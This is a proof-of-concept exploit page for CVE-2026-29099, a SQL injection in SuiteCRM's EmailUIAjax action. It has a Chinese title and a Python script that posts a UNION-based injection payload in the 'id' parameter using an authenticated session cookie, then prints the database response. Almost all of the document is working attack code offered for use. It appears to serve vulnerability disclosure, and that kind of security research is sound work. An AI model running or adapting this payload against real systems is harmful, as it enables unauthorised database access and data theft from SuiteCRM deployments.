CVE-2026-29099 SuiteCRM SQL注入漏洞

# Proof of Concept (PoC) for CVE-2026-29099 # Description: Exploits SQL Injection in SuiteCRM via EmailUIAjax action. import requests def exploit_suitecrm(target_url, session_cookie): """ Attempts to exploit the SQL injection vulnerability in SuiteCRM. """ # The endpoint vulnerable to the attack url = f"{target_url}/index.php" # Payload targeting the $id parameter in retrieve() # Using a simple Union Based injection to extract database version sql_payload = "1' UNION SELECT 1,2,3,4,version(),6,7,8,9-- -" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } cookies = { "PHPSESSID": session_cookie } # Data payload simulating the EmailUIAjax request data = { "module": "Emails", "action": "EmailUIAjax", "emailUIAction": "getSingleMessageFromSugar", "id": sql_payload } try: response = requests.post(url, data=data, headers=headers, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and valid session cookie target = "http://localhost/suitecrm" session_id = "valid_authenticated_session_id_here" exploit_suitecrm(target, session_id)